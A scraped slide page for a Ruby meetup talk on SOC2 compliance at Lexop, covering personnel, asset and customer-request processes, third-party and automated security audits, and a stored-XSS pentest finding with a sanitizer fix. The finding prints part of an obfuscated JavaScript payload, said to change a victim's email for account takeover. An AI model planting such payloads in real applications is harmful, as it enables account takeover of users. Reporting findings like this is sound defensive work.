Going through the SOC2 audit preparation and audit process at Lexop taught us quite a few interesting lessons as far as security, infrastructure and processes are concerned ... and we'd like to share some of these with you. This presentation will not only be focused on coding but also on what we went through on our way to becoming a SOC2 compliant ruby shop.
Bio
Michel Jamati, CTO and co-founder at Lexop, has accompanied the startup through 2 accelerator programs, 8.1M$ in financing, and many a sleepless night. He received a Bachelors in Computer Engineering from McGill, with a minor in Business and a specialty in Artificial Intelligence, before working for a decade in the Aerospace industry where he scoured the globe tinkering with full flight simulators for the World's biggest airlines.
In his free time, he enjoys feeding his newborn son (who's never thanked him for it) and pestering his sister . He's also an avid sports player and sci-fi reader, and has been a Big Brother for the last 5 years to one of the coolest kid out there.
The document provides an overview of the top 5 vulnerabilities according to the OWASP Top 10 list - Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), Insecure Direct Object References, and Security Misconfiguration. For each vulnerability, the document defines the vulnerability, provides examples, and lists recommendations for mitigating the risk.
The document provides an overview of the top 5 vulnerabilities according to the OWASP Top 10 list - Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), Insecure Direct Object References, and Security Misconfiguration. For each vulnerability, the document defines the vulnerability, provides examples, and lists recommendations for mitigating the risk.
This document provides an overview of software security best practices and common vulnerabilities for Odoo code. It discusses the top 10 risks including injection, broken authentication, sensitive data exposure, XML external entities, broken access control, security misconfiguration, cross-site scripting, insecure deserialization, vulnerable components, and insufficient logging. For each risk, it provides examples of vulnerable code and recommendations for more secure implementations. It emphasizes that the Odoo framework includes mechanisms to prevent many mistakes but knowledge and mindset are also key. The document concludes with recommendations for code reviews to check access control, permissions, templates, evaluations, injections, and cross-site scripting prevention.
10 Rules for Safer Code [Odoo Experience 2016]Olivier Dony
In this talk, we will cover the top 10 development mistakes that lead to security issues. Olivier Dony will go through all the security issues we have had over the past 3 years and give tips on how to avoid the traps for safer Odoo code.
This document discusses information security and the CIA triad of confidentiality, integrity, and availability. It then explains each of these concepts in more detail and provides examples. It also discusses the OWASP Top 10 security risks, specifically addressing SQL injection, broken authentication and session management, cross-site scripting, insecure direct object references, security misconfiguration, sensitive data exposure, missing function level access control, cross-site request forgery, using components with known vulnerabilities, and unvalidated redirects and forwards. Attack scenarios and ways to prevent each risk are provided.
The document summarizes application security best practices. It discusses who is responsible for application security and design considerations like authentication, authorization, privacy and data integrity. It then covers security principles like designing for security by default and in deployment. Top application vulnerabilities like SQL injection, cross-site scripting and access control issues are explained along with remedies. Finally, it provides checklists for designers, developers and testers to follow for application security.
The document provides 10 rules for safer code in order to prevent security vulnerabilities:
1. Do not use eval() or evaluate strings as code.
2. Do not use pickle for serialization as it is unsafe and not secure.
3. Use ORM queries and query parameters instead of direct SQL to prevent SQL injection.
4. Be careful of XSS vulnerabilities in templates, DOM manipulations, and uploads. Escape variables and user input.
5. Securely store passwords and tokens and do not leak them.
6. Review sudo() usage and do not allow blind writes from public methods.
7. Use CSRF tokens for HTTP POST forms to prevent CSRF attacks.
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
The document discusses various cybersecurity topics including vulnerabilities, threats, attacks, and countermeasures. It provides an overview of the Open Web Application Security Project (OWASP) which focuses on improving application security. It also summarizes common web vulnerabilities like cross-site scripting (XSS), SQL injection, buffer overflows, and cross-site request forgery (CSRF). Recommendations are given to prevent these vulnerabilities.
The document provides an overview of the top 5 vulnerabilities according to the OWASP Top 10 list - Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), Insecure Direct Object References, and Security Misconfiguration. For each vulnerability, the document defines the vulnerability, provides examples, and lists recommendations for mitigating the risk.
The document provides an overview of the top 5 vulnerabilities according to the OWASP Top 10 list - Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), Insecure Direct Object References, and Security Misconfiguration. For each vulnerability, the document defines the vulnerability, provides examples, and lists recommendations for mitigating the risk.
This document provides an overview of software security best practices and common vulnerabilities for Odoo code. It discusses the top 10 risks including injection, broken authentication, sensitive data exposure, XML external entities, broken access control, security misconfiguration, cross-site scripting, insecure deserialization, vulnerable components, and insufficient logging. For each risk, it provides examples of vulnerable code and recommendations for more secure implementations. It emphasizes that the Odoo framework includes mechanisms to prevent many mistakes but knowledge and mindset are also key. The document concludes with recommendations for code reviews to check access control, permissions, templates, evaluations, injections, and cross-site scripting prevention.
10 Rules for Safer Code [Odoo Experience 2016]Olivier Dony
In this talk, we will cover the top 10 development mistakes that lead to security issues. Olivier Dony will go through all the security issues we have had over the past 3 years and give tips on how to avoid the traps for safer Odoo code.
This document discusses information security and the CIA triad of confidentiality, integrity, and availability. It then explains each of these concepts in more detail and provides examples. It also discusses the OWASP Top 10 security risks, specifically addressing SQL injection, broken authentication and session management, cross-site scripting, insecure direct object references, security misconfiguration, sensitive data exposure, missing function level access control, cross-site request forgery, using components with known vulnerabilities, and unvalidated redirects and forwards. Attack scenarios and ways to prevent each risk are provided.
The document summarizes application security best practices. It discusses who is responsible for application security and design considerations like authentication, authorization, privacy and data integrity. It then covers security principles like designing for security by default and in deployment. Top application vulnerabilities like SQL injection, cross-site scripting and access control issues are explained along with remedies. Finally, it provides checklists for designers, developers and testers to follow for application security.
The document provides 10 rules for safer code in order to prevent security vulnerabilities:
1. Do not use eval() or evaluate strings as code.
2. Do not use pickle for serialization as it is unsafe and not secure.
3. Use ORM queries and query parameters instead of direct SQL to prevent SQL injection.
4. Be careful of XSS vulnerabilities in templates, DOM manipulations, and uploads. Escape variables and user input.
5. Securely store passwords and tokens and do not leak them.
6. Review sudo() usage and do not allow blind writes from public methods.
7. Use CSRF tokens for HTTP POST forms to prevent CSRF attacks.
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
The document discusses various cybersecurity topics including vulnerabilities, threats, attacks, and countermeasures. It provides an overview of the Open Web Application Security Project (OWASP) which focuses on improving application security. It also summarizes common web vulnerabilities like cross-site scripting (XSS), SQL injection, buffer overflows, and cross-site request forgery (CSRF). Recommendations are given to prevent these vulnerabilities.
This talk walks through the basics of web security without focussing too much on the particular tools that you choose. The concepts are universal, although most examples will be in Perl. We'll also look at various attack vectors (SQL Injection, XSS, CSRF, and more) and see how you can avoid them. Whether you're an experienced web developer (we all need reminding) or just starting out, this talk can help avoid being the next easy harvest of The Bad Guys.
Secure coding is the practice of developing software securely by avoiding security vulnerabilities. It involves understanding the application's attack surface and using techniques like input validation, secure authentication, access control, and encrypting sensitive data. The OWASP organization provides free tools and guidelines to help developers code securely, such as their Top 10 security risks and cheat sheets on issues like injection, authentication, and access control. Developers should use static and dynamic application security testing tools to identify vulnerabilities and continuously learn about secure coding best practices.
Tips to Remediate your Vulnerability Management ProgramBeyondTrust
In this presentation from her webinar, renowned cybersecurity expert Paula Januszkiewicz delves into what a truly holistic vulnerability management program should look like. When all parts are correctly established and working together, organizations can dramatically dial down their risk exposure. This presentation covers:
- The key phases and activities of the vulnerability management lifecycle
- The tools you need for an effective vulnerability management program
- How to prioritize your VM needs
- How an effective VM program can help you measurably reduce risk and meet compliance objectives
You can watch the full webinar here: https://www.beyondtrust.com/resources/webinar/tips-remediate-vulnerability-management-program
Rails security best practices involve defending at multiple layers including the network, operating system, web server, web application, and database. The document outlines numerous vulnerabilities at the web application layer such as information leaks, session hijacking, SQL injection, mass assignment, unscoped finds, cross-site scripting (XSS), cross-site request forgery (CSRF), and denial-of-service attacks. It provides recommendations to address each vulnerability through secure coding practices and configuration in Rails.
Application Security from the Inside - OWASPSqreen
Presentation at the OWASP (Open Web Application Security Project) on how to make apps secure by protecting them from the inside.
Detecting and protecting from
1. SQL injection
2. Cross Site Scripting (XSS)
3. Third party components vulnerabilities
4. Shell injection
etc.
This document discusses using threat modeling at scale in agile development to improve security. It proposes identifying security requirements and test cases for each user story by considering potential "abuser stories". This would involve breaking down high-level user stories, assigning security champions to identify abuser stories, and having the security team maintain base threat models and own testing. Examples of threat modeling user stories around password resets and money withdrawals are provided. The goal is to shift security left in the SDLC by introducing it earlier through systematic threat modeling of user stories.
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)cgmonroe
This is an updated version of this talk given at DrupalCamp Atlanta (DCA)
This presentation is an overview / case study of things learned by experiencing GDPR Security audits, DoS attacks, brute force login attacks, annoying robot crawlers, and hackers doing security probes.
The session will cover the following main topics with tips on how to protected against each of these.
An overview of security threats
Server Level Attacks
Code Level Attacks
User Access Attacks
Internal Attacks
Some suggestions on developing a security plan
People attending should come away with useful knowledge (modules, best practices, sites that help, front end tools and the like) that will help secure their sites.
The document describes a vulnerability where the target server supports weak TLS/SSL ciphers and protocols, including SSLv2. This could allow attackers to decrypt encrypted communications and compromise sensitive data through man-in-the-middle attacks. Recommendations include disabling weak ciphers and protocols like SSLv2 to strengthen the security of encrypted connections.
Good Secure Development Practices Presented By: Bil Corry lasso.pro Education Project. It recommends validating all user input, distrusting even your own requests, and taking a layered approach to validation, enforcement of business rules, and authentication. Some specific best practices include implementing positive authentication, principle of least privilege, centralized authorization routines, separating admin and user access, and ensuring error handling fails safely.
The document discusses various web application security issues like SQL injection, input validation, cross-site scripting and provides recommendations to prevent these vulnerabilities when developing PHP applications. It emphasizes the importance of validating all user inputs, using prepared statements and output encoding to prevent code injection attacks and ensuring session security. The document also covers other attacks like cross-site request forgery and provides mitigation techniques.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems. I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest (=attack) painful, or just rendered the scenarios irrelevant.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems.
I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest
(=attack) painful, or just rendered the scenarios irrelevant.
This document summarizes a presentation on XSS filters versus payloads. It discusses how XSS remains a prevalent web vulnerability despite various filters. The presentation covers XSS payload techniques like randomization and camouflaging, as well as how filters use approaches like sanitization, parameter filtering, and regular expressions that can be bypassed. It emphasizes that the arms race between filters and payloads will continue as each evolves over time.
Secure coding is the practice of developing computer software in a way that guards against the accidental introduction of security vulnerabilities. Defects, bugs and logic flaws are consistently the primary cause of commonly exploited software vulnerabilities. Through the analysis of thousands of reported vulnerabilities, security professionals have discovered that most vulnerabilities stem from a relatively small number of common software programming errors. By identifying the insecure coding practices that lead to these errors and educating developers on secure alternatives, organizations can take proactive steps to help significantly reduce or eliminate vulnerabilities in software before deployment.
Session by: Akash S Prakash
The presentation is on Persistent Cookies and LDAP Injection. Persistent cookies stay on your hard drive (one of your browser's subfolders) until they expire or get deleted. The session will cover introduction to Persistent Cookies and applicable test-cases with respect to Web Application Penetration Testing. In LDAP Injection section, the presentation will cover: Understanding Active Directory, Understanding LDAP and How does LDAP Injection work.
The document provides a complete walkthrough of cross-site scripting (XSS) vulnerabilities, including:
1) It defines XSS and explains that it allows attackers to inject client-side scripts.
2) It describes three types of XSS - stored (persistent), reflected (non-persistent), and DOM-based - and provides examples of each.
3) It discusses advanced techniques attackers use to bypass input filtering, such as uppercasing tags to avoid lowercase filters or using ASCII character codes.
Opal Won the Fukuoka Ruby Award 2023 for Outstanding Performance! These are the presented slides at the Fukuoka Ruby 2023 Award Competition. Rights are reserved for Elia Schito and Opal contributors.
Montreal.rb 2022-10-05 - Glimmer DSL for SWT - Ruby Desktop Development GUI ...Andy Maleh
This document introduces Glimmer DSL for SWT, a Ruby GUI framework that allows building native graphical user interfaces in Ruby. It discusses the motivation for building native GUIs, provides examples of sample apps built with Glimmer, and outlines the basics of the GUI DSL syntax. Key aspects covered include widgets, properties, listeners, operations, software architecture patterns like MVC and MVP, data binding, custom components, drag and drop, and scaffolding tools. It also mentions the ability to package apps into various native executable formats like DMG, PKG, EXE, MSI, DEB, and RPM for different platforms.
More Related Content
Similar to Becoming a SOC2 Ruby Shop - Montreal.rb November, 5, 2022 Ruby Meetup
This talk walks through the basics of web security without focussing too much on the particular tools that you choose. The concepts are universal, although most examples will be in Perl. We'll also look at various attack vectors (SQL Injection, XSS, CSRF, and more) and see how you can avoid them. Whether you're an experienced web developer (we all need reminding) or just starting out, this talk can help avoid being the next easy harvest of The Bad Guys.
Secure coding is the practice of developing software securely by avoiding security vulnerabilities. It involves understanding the application's attack surface and using techniques like input validation, secure authentication, access control, and encrypting sensitive data. The OWASP organization provides free tools and guidelines to help developers code securely, such as their Top 10 security risks and cheat sheets on issues like injection, authentication, and access control. Developers should use static and dynamic application security testing tools to identify vulnerabilities and continuously learn about secure coding best practices.
Tips to Remediate your Vulnerability Management ProgramBeyondTrust
In this presentation from her webinar, renowned cybersecurity expert Paula Januszkiewicz delves into what a truly holistic vulnerability management program should look like. When all parts are correctly established and working together, organizations can dramatically dial down their risk exposure. This presentation covers:
- The key phases and activities of the vulnerability management lifecycle
- The tools you need for an effective vulnerability management program
- How to prioritize your VM needs
- How an effective VM program can help you measurably reduce risk and meet compliance objectives
You can watch the full webinar here: https://www.beyondtrust.com/resources/webinar/tips-remediate-vulnerability-management-program
Rails security best practices involve defending at multiple layers including the network, operating system, web server, web application, and database. The document outlines numerous vulnerabilities at the web application layer such as information leaks, session hijacking, SQL injection, mass assignment, unscoped finds, cross-site scripting (XSS), cross-site request forgery (CSRF), and denial-of-service attacks. It provides recommendations to address each vulnerability through secure coding practices and configuration in Rails.
Application Security from the Inside - OWASPSqreen
Presentation at the OWASP (Open Web Application Security Project) on how to make apps secure by protecting them from the inside.
Detecting and protecting from
1. SQL injection
2. Cross Site Scripting (XSS)
3. Third party components vulnerabilities
4. Shell injection
etc.
This document discusses using threat modeling at scale in agile development to improve security. It proposes identifying security requirements and test cases for each user story by considering potential "abuser stories". This would involve breaking down high-level user stories, assigning security champions to identify abuser stories, and having the security team maintain base threat models and own testing. Examples of threat modeling user stories around password resets and money withdrawals are provided. The goal is to shift security left in the SDLC by introducing it earlier through systematic threat modeling of user stories.
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)cgmonroe
This is an updated version of this talk given at DrupalCamp Atlanta (DCA)
This presentation is an overview / case study of things learned by experiencing GDPR Security audits, DoS attacks, brute force login attacks, annoying robot crawlers, and hackers doing security probes.
The session will cover the following main topics with tips on how to protected against each of these.
An overview of security threats
Server Level Attacks
Code Level Attacks
User Access Attacks
Internal Attacks
Some suggestions on developing a security plan
People attending should come away with useful knowledge (modules, best practices, sites that help, front end tools and the like) that will help secure their sites.
The document describes a vulnerability where the target server supports weak TLS/SSL ciphers and protocols, including SSLv2. This could allow attackers to decrypt encrypted communications and compromise sensitive data through man-in-the-middle attacks. Recommendations include disabling weak ciphers and protocols like SSLv2 to strengthen the security of encrypted connections.
Good Secure Development Practices Presented By: Bil Corry lasso.pro Education Project. It recommends validating all user input, distrusting even your own requests, and taking a layered approach to validation, enforcement of business rules, and authentication. Some specific best practices include implementing positive authentication, principle of least privilege, centralized authorization routines, separating admin and user access, and ensuring error handling fails safely.
The document discusses various web application security issues like SQL injection, input validation, cross-site scripting and provides recommendations to prevent these vulnerabilities when developing PHP applications. It emphasizes the importance of validating all user inputs, using prepared statements and output encoding to prevent code injection attacks and ensuring session security. The document also covers other attacks like cross-site request forgery and provides mitigation techniques.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems. I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest (=attack) painful, or just rendered the scenarios irrelevant.
The security of an application is a continuous struggle between solid proactive controls and quality in SDLC versus human weakness and resource restrictions. As the pentester's experience confirms, unfortunatelly even in high-risk (e.g. banking) applications, developed by recognized vendors, the latter often wins - and we end up with critical vulnerabilities.
One of the primary reasons is lack of mechanisms enforcing secure code by default, as opposed to manual adding security per each function. Whenever the secure configuration is not default, there will almost inevitably be bugs, especially in complex systems.
I will pinpoint what should be taken into consideration in the architecture and design process of the application. I will show solutions that impose security in ways difficult to circumvent unintentionally by creative developers. I will also share with the audience the pentester's (=attacker's) perspective, and a few clever tricks that made the pentest
(=attack) painful, or just rendered the scenarios irrelevant.
This document summarizes a presentation on XSS filters versus payloads. It discusses how XSS remains a prevalent web vulnerability despite various filters. The presentation covers XSS payload techniques like randomization and camouflaging, as well as how filters use approaches like sanitization, parameter filtering, and regular expressions that can be bypassed. It emphasizes that the arms race between filters and payloads will continue as each evolves over time.
Secure coding is the practice of developing computer software in a way that guards against the accidental introduction of security vulnerabilities. Defects, bugs and logic flaws are consistently the primary cause of commonly exploited software vulnerabilities. Through the analysis of thousands of reported vulnerabilities, security professionals have discovered that most vulnerabilities stem from a relatively small number of common software programming errors. By identifying the insecure coding practices that lead to these errors and educating developers on secure alternatives, organizations can take proactive steps to help significantly reduce or eliminate vulnerabilities in software before deployment.
Session by: Akash S Prakash
The presentation is on Persistent Cookies and LDAP Injection. Persistent cookies stay on your hard drive (one of your browser's subfolders) until they expire or get deleted. The session will cover introduction to Persistent Cookies and applicable test-cases with respect to Web Application Penetration Testing. In LDAP Injection section, the presentation will cover: Understanding Active Directory, Understanding LDAP and How does LDAP Injection work.
The document provides a complete walkthrough of cross-site scripting (XSS) vulnerabilities, including:
1) It defines XSS and explains that it allows attackers to inject client-side scripts.
2) It describes three types of XSS - stored (persistent), reflected (non-persistent), and DOM-based - and provides examples of each.
3) It discusses advanced techniques attackers use to bypass input filtering, such as uppercasing tags to avoid lowercase filters or using ASCII character codes.
Similar to Becoming a SOC2 Ruby Shop - Montreal.rb November, 5, 2022 Ruby Meetup (20)
Opal Won the Fukuoka Ruby Award 2023 for Outstanding Performance! These are the presented slides at the Fukuoka Ruby 2023 Award Competition. Rights are reserved for Elia Schito and Opal contributors.
Montreal.rb 2022-10-05 - Glimmer DSL for SWT - Ruby Desktop Development GUI ...Andy Maleh
This document introduces Glimmer DSL for SWT, a Ruby GUI framework that allows building native graphical user interfaces in Ruby. It discusses the motivation for building native GUIs, provides examples of sample apps built with Glimmer, and outlines the basics of the GUI DSL syntax. Key aspects covered include widgets, properties, listeners, operations, software architecture patterns like MVC and MVP, data binding, custom components, drag and drop, and scaffolding tools. It also mentions the ability to package apps into various native executable formats like DMG, PKG, EXE, MSI, DEB, and RPM for different platforms.
Gladiator is a code editor that was built completely in Ruby. It supports syntax highlighting for over 30 programming languages, split pane, file name lookup, a variety of keyboard shortcuts, undo/redo, find and replace, line jumping, monitoring external file system changes, ignoring uneditable files, expanding to fill the screen, running Ruby code, remembering the last open files, and multi-project support. In fact, I have been using Gladiator for all my code editing needs since May of 2020.
In this talk, I will present Gladiator's features, and then dig into the implementation of every feature in Ruby, covering things like the Model-View-Controller and Model-View-Presenter architectural patterns, how to build custom widgets, how to implement file editing commands, and how to support undo/redo.
Attendees should walk out of this talk with rudimentary knowledge of how to build a code editor in Ruby.
Ultra Light and Maintainable Rails Wizards at RailsConf 2014Andy Maleh
Wizards have been common in web applications since the dawn of the Internet, with the most popular example being the Shopping Cart, yet many struggle with writing wizard code effectively, resulting in a huge untraceable rat's nest of copy/paste code. In fact, many implementations violate REST and include Fat Controllers as well as overly complicated wizard-step management, data, session, and validation code. This talk covers a better way that yields Ultra Light and Maintainable Rails Wizards!
RailsConf 2014 Recap at Montreal.rb by Andy MalehAndy Maleh
The document summarizes the 2014 RailsConf conference. It lists the various talks and keynotes, providing brief highlights and messages from each. Some talks encouraged adoption of new frameworks and practices, while others pushed back on ideas like TDD being dead or abusing metaprogramming in Rails. Links are included for related code and documentation.
Ultra Light and Maintainable Wizards in Rails at Montreal.rbAndy Maleh
The document discusses different approaches to implementing wizards in Rails applications. It describes various wizard implementation strategies, including having separate controllers and models per step, accumulating step data in the session or hidden parameters, using a state machine pattern in the model, and leveraging wizard gems. It then proposes an "ultra light & maintainable" approach of using a single controller and model with "step submodels" to represent each step and ensure validations are only applied for the relevant step. The document aims to implement wizards in a RESTful and object-oriented way while meeting goals of productivity, maintainability and performance.
Revised Rails Engine Patterns for Montreal.rb meetup Oct 16, 2012Andy Maleh
Rails engines allow developers to reuse functionality across models, views, controllers, and assets in different Rails applications. This reduces duplication. Engines break common behavior out into reusable Ruby gems that can be included in an application's Gemfile. Applications can then customize models, controllers, views and other parts as needed by reopening or overriding classes and templates defined in the engine. Engines provide a way to share functionality while allowing customizations for different applications.
Software Craftsmanship VS Software EngineeringAndy Maleh
Software craftsmanship and software engineering both aim to deliver high-quality, reliable software, but differ in their approaches. Software engineering focuses on macro goals and processes, while craftsmanship emphasizes mastering skills through experience. Both are used at Groupon, where engineering practices like architecture, testing and iteration are combined with craftsmanship techniques including apprenticeships and pair programming.
This talk covers a successful utilization of Rails Engines to share features that cut across the layers of MVC in different Rails 3 projects. Rails Engines thus provide the best of both worlds: improved productivity by reusing MVC code (including assets like Javascript, CSS, and Images) and better flexibility by allowing different applications to customize behavior as needed without reliance on application-dependent conditionals. Rails Engine patterns will be provided to guide developers on how to leverage Rails Engines' reusability and flexibility without sacrificing maintainability.
Software Craftsmanship vs Software Engineering (Lightning Talk)Andy Maleh
The recent emergence of the Software Craftsmanship movement in the last decade has been accompanied with quite a bit of confusion on what the movement is exactly about and whether it adds any value beyond previous software development movements, such as Agile and Software Engineering. In this short talk, Andy Maleh will define Software Craftsmanship, compare and contrast to Software Engineering, and provide examples on how both disciplines are playing out at the Groupon software development environment.
Software Design Trilogy Part III - Domain Driven Design for Ruby on Rails App...Andy Maleh
The document discusses domain-driven design approaches from the 1980s to present. It covers business domain modeling, the ubiquitous language, and model-driven design principles. An example domain of a music school is used, along with a Ruby on Rails application demonstration. Key concepts explained include entities, value objects, aggregates, factories, repositories, and services in the context of domain-driven design.
Software Design Trilogy Part II - Design Patterns for RubyistsAndy Maleh
The document discusses design patterns and their applications in Ruby. It begins with a pop quiz about design patterns, then covers practical examples of strategy, state, composite, adapter, proxy, decorator, mediator, bridge, observer, and prototype patterns in Ruby. It notes some alternative implementations and deprecated patterns in Ruby. The document concludes by recapping that design patterns help with maintainability and serve as a design communication tool.
Software Design Trilogy Part I - Responsibility Driven Design for RubyistsAndy Maleh
The document discusses responsibility driven design, an object oriented design approach that focuses on identifying the responsibilities needed to perform required actions and assigning those responsibilities to appropriate objects. It outlines the responsibility driven design process, provides an example, and discusses related concepts like responsibility based modeling, GRASP patterns, and a consolidated design process. An exercise walks through identifying responsibilities and objects for a sample requirement to search for deals near a user's location.
Rails engines allow for code reuse across models, views, controllers, and assets. Common functionality can be extracted into engines and then included in multiple applications. Engines define their own classes and assets, while applications can customize behavior by reopening classes or overriding views and assets. This allows applications to customize engines as needed while maintaining a clean separation of concerns between shared and application-specific code.
This document discusses using Rails Engines to break common functionality across models, views, controllers, and assets into reusable code. Rails Engines allow code to be customized in each project when needed by reopening classes and overriding templates. They provide benefits like increased code reuse, organization, and faster test runs by offloading some tests to the engines, though there is added complexity in setting up and maintaining engine gem projects.
Simplifying Desktop Development With GlimmerAndy Maleh
The document introduces Glimmer, a Ruby UI toolkit that simplifies desktop development. Glimmer leverages the SWT library to provide native widget support across Windows, Mac, and Linux. It offers an easy to use DSL and facilitates clean separation of logic and UI code through data binding. Examples demonstrate creating a simple "Hello World" app and using listeners, data binding, and the MVP pattern with Glimmer.
Microservice Teams - How the cloud changes the way we workSven Peters
A lot of technical challenges and complexity come with building a cloud-native and distributed architecture. The way we develop backend software has fundamentally changed in the last ten years. Managing a microservices architecture demands a lot of us to ensure observability and operational resiliency. But did you also change the way you run your development teams?
Sven will talk about Atlassian’s journey from a monolith to a multi-tenanted architecture and how it affected the way the engineering teams work. You will learn how we shifted to service ownership, moved to more autonomous teams (and its challenges), and established platform and enablement teams.
UI5con 2024 - Bring Your Own Design SystemPeter Muessig
How do you combine the OpenUI5/SAPUI5 programming model with a design system that makes its controls available as Web Components? Since OpenUI5/SAPUI5 1.120, the framework supports the integration of any Web Components. This makes it possible, for example, to natively embed own Web Components of your design system which are created with Stencil. The integration embeds the Web Components in a way that they can be used naturally in XMLViews, like with standard UI5 controls, and can be bound with data binding. Learn how you can also make use of the Web Components base class in OpenUI5/SAPUI5 to also integrate your Web Components and get inspired by the solution to generate a custom UI5 library providing the Web Components control wrappers for the native ones.
8 Best Automated Android App Testing Tool and Framework in 2024.pdfkalichargn70th171
Regarding mobile operating systems, two major players dominate our thoughts: Android and iPhone. With Android leading the market, software development companies are focused on delivering apps compatible with this OS. Ensuring an app's functionality across various Android devices, OS versions, and hardware specifications is critical, making Android app testing essential.
Everything You Need to Know About X-Sign: The eSign Functionality of XfilesPr...XfilesPro
Wondering how X-Sign gained popularity in a quick time span? This eSign functionality of XfilesPro DocuPrime has many advancements to offer for Salesforce users. Explore them now!
Mobile App Development Company In Noida | Drona InfotechDrona Infotech
Drona Infotech is a premier mobile app development company in Noida, providing cutting-edge solutions for businesses.
Visit Us For : https://www.dronainfotech.com/mobile-application-development/
How Can Hiring A Mobile App Development Company Help Your Business Grow?ToXSL Technologies
ToXSL Technologies is an award-winning Mobile App Development Company in Dubai that helps businesses reshape their digital possibilities with custom app services. As a top app development company in Dubai, we offer highly engaging iOS & Android app solutions. https://rb.gy/necdnt
Artificia Intellicence and XPath Extension FunctionsOctavian Nadolu
The purpose of this presentation is to provide an overview of how you can use AI from XSLT, XQuery, Schematron, or XML Refactoring operations, the potential benefits of using AI, and some of the challenges we face.
E-Invoicing Implementation: A Step-by-Step Guide for Saudi Arabian CompaniesQuickdice ERP
Explore the seamless transition to e-invoicing with this comprehensive guide tailored for Saudi Arabian businesses. Navigate the process effortlessly with step-by-step instructions designed to streamline implementation and enhance efficiency.
UI5con 2024 - Keynote: Latest News about UI5 and it’s EcosystemPeter Muessig
Learn about the latest innovations in and around OpenUI5/SAPUI5: UI5 Tooling, UI5 linter, UI5 Web Components, Web Components Integration, UI5 2.x, UI5 GenAI.
Recording:
https://www.youtube.com/live/MSdGLG2zLy8?si=INxBHTqkwHhxV5Ta&t=0
4. ???
SOC 2 defines criteria for managing customer data based
on five “trust service principles”—security, availability,
processing integrity, confidentiality and privacy.
From SOC2 Compliance article
5. Security
Defines data protection. This is where risk-mitigation comes in to safeguard
against breaches, unauthorised access and disclosure.
6. Availability
Defines the measures put in place to deliver performance and uptime to meet
business objectives and service level agreements. This is where monitoring,
backups and disaster recovery solutions are evaluated
7. Processing Integrity
Defines the controls in place to ensure consistency in the data and reliability in the
manner it is processed.
… think unexplained errors, corruption and anomalies.
8. Confidentiality
Defines how information - s.a. personal identifiable data, trade secrets and
anything governed by an NDA - is collected, processed and ultimately disposed of.
How it is shared, who it is shared with and how everything is tracked.
9. Privacy
Closely related to Confidentiality: focuses on PII, how it is collected and managed,
and the consent mechanisms surrounding its collection.
10. How
You get audited
- Processes and policies
- Software pipeline
- Security
- Infrastructure
12. People
Humans are the biggest risk
Track employees across the entire lifecycle
▸ Job posting
▸ Application and review
▸ Hire and contract signature
▸ Background checks
▸ Onboarding and training
▸ Performance evaluations
▸ Off-boarding
13. Assets and Accesses
Managing users and devices
▸ Access grants, modifications and removals
▸ User rights and permissions review
▸ Device management through MDM
▸ Endpoint protection (firewall, anti- malware, OS
hardening …) of all assets
14. Customers
Handling requests and requirements
Track all customer requests from start to finish
▸ Request issuance
▸ Support acknowledgment
▸ Dev ticket creation
▸ PR creation
▸ Merge and deployment
▸ Request status feedback to customer
▸ Request closure
21. Audits
Performing independent tests
▸ 3rd-party
▹ Human-driven
▹ Recurring
▹ GoSecure
▸ Automated
▹ Vulnerability check
▹ Monthly or more often
▹ HaloSecurity
▹ OWASP Zap
22. Vulnerabilities - Stored XSS attacks
Account takeover
Through social engineering a user can be tricked into
uploading a recipient list with malicious JavaScript code.
In order to bypass some restrictions, the team used an esoteric
subset of JavaScript where code is written using only six
characters [, ], (,), !, and +.
OWASP - Types of cross-site scripting
Stack Overflow - server xss vs client xss
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]
+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]
+[])[+[]]]+[])[!
+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!
[]+[])[+!+[]]+(!
![]+[])[+ []]])[+ !+ []+[+[]]] +([][[] …
+!+[]]]()[+!+[]+[!+[]+!+[]]])())</script>
When consulting his activity feed, this script will execute in
the session context of the targeted victim changing his
email address.
23. Vulnerabilities - Stored XSS attacks
The fix
Entries entered by users should by systematically validated before processing
and storage. The use of character whitelists via strict regular expression on
entries is the most effective means of mitigation against this type of attack.
OWASP - Types of cross-site scripting
Stack Overflow - server xss vs client xss
gem 'rails-html-sanitizer'
@full_sanitizer = Rails::Html::FullSanitizer.new
workbook.parse().map do |row|
